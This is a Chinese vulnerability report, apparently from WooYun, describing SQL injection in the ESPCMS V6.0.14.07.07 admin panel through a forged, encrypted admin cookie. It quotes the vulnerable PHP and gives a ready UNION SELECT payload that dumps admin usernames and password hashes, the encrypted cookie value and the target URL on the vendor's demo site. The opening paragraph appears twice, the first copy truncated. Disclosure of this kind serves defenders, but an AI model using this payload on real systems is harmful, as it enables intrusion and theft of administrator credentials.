### 简要描述： rt V6.0.14.07.07 UTF8 ### 详细说明： 看了大牛们提交的 [WooYun: ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入](http://www.wooyun.org/bugs/wooyun-2014-062528) 下了最新版来看看，发现 加密函数 还是老样子啊- - 不过 ，查询换成 了 id 而不是 username了， 但是 id 是 intval的。 ``` function member_cookieview($keyword = false) { $retrunstr = array(); $retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode); $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode)); list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info; $retrunstr['userid'] = intval($retrunstr['userid']); $retrunstr['integral'] = intval($retrunstr['integral']); $retrunstr['mcid'] = intval($retrunstr['mcid']); return !$keyword ? $retrunstr : $retrunstr[$keyword]; } ``` 前台利用cookie注入的地方 彩笔我是没找到了， 但是...
### 简要描述： rt V6.0.14.07.07 UTF8 ### 详细说明： 看了大牛们提交的 [WooYun: ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入](http://www.wooyun.org/bugs/wooyun-2014-062528) 下了最新版来看看，发现 加密函数 还是老样子啊- - 不过 ，查询换成 了 id 而不是 username了， 但是 id 是 intval的。 ``` function member_cookieview($keyword = false) { $retrunstr = array(); $retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode); $user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode)); list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info; $retrunstr['userid'] = intval($retrunstr['userid']); $retrunstr['integral'] = intval($retrunstr['integral']); $retrunstr['mcid'] = intval($retrunstr['mcid']); return !$keyword ? $retrunstr : $retrunstr[$keyword]; } ``` 前台利用cookie注入的地方 彩笔我是没找到了， 但是 后台检测管理登入的文件出了问题 /adminsoft/control/management.php ``` function onhome() { parent::start_template(); $db_table = db_prefix . 'admin_member'; $db_where = "username='$this->esp_username'"; $rsMember = $this->db->fetch_first('SELECT id,username,password,name,sex,intotime,intime,outtime,ipadd,hit,powergroup,inputclassid,isclass FROM ' . $db_table . ' WHERE ' . $db_where); $this->ectemplates->assign('username', $rsMember['username']); $this->ectemplates->assign('name', $rsMember['name']); if ($rsMember['sex'] == 1) { $rsMember['sextype'] = $this->lng['select_sex_1']; } else { $rsMember['sextype'] = $this->lng['select_sex_0']; } $db_table = db_prefix . 'admin_powergroup'; if (empty($rsMember['powergroup']) && empty($rsMember['username'])) { exit('Cookie err'); } $db_where = 'id=' . $rsMember['powergroup']; .............. ``` 这里 username 带入了查询。当然 要满足admin_purview() ``` $arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode)); $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode)); list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;//在此处 赋值esp_username 导致注入 ................. if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) // 和以前一样 要满足这个条件。 ``` 用 @索马里的海贼 的方法 得到key 后 构造恶意的cookie 即可注入。 官网测试下，得到key的 过程就不多说了，戳这里 [WooYun: ESPCMS最新 V5.8.14.03.03 UTF8 正式版暴力注入](http://www.wooyun.org/bugs/wooyun-2014-062528) 正常的解密后的 cookie是这样子的 1|admin|md5(pass)|md5(admin_AGENT)|1|1|md5(admin_ClassURL) 将admin替换成 sql语句 ，后两个md5 值改下， 得到如下 cookie ``` 1|' union select 1,username,3,password,5,6,7,8,9,10,11,12,13 from espcms_admin_member#|a|a32b0be10848d387fcc64b92239d689f|1|1|29aac6e385cf17b8d63035edfbe068af ``` 自带的函数加密下-> ``` ecisp_admininfo=Zt5YVtnSmaGmWKqe0sbH2FGUkKzUyKfQk9LGjpSO0sOp1t3V1pZhbWGYXW2QnFxrZGlnZZeSkJVjj5Vqgcmn0Z-FxtXRxc_VlcTK082glKWaz5Ob1oesk7SZamvIkcbJYpOca5nHaJppy8TFl5bEm2iVmZ_IaG1xm95ispXgYmuZmZpvy5ScmZTJlW7Dm5mYZZWUl8bGyMSbk5yexZg ``` 调用adminsoft/control/management.php的 onhome http://demo.ecisp.cn/adminsoft/index.php?archive=management&action=home 修改 cookie ，恩，数据出来了。 [<img src="https://images.seebug.org/upload/201407/1306353017334e6bada88d6f9955c41adbf385c2.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/1306353017334e6bada88d6f9955c41adbf385c2.jpg) ### 漏洞证明： [<img src="https://images.seebug.org/upload/201407/1306353017334e6bada88d6f9955c41adbf385c2.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/1306353017334e6bada88d6f9955c41adbf385c2.jpg)
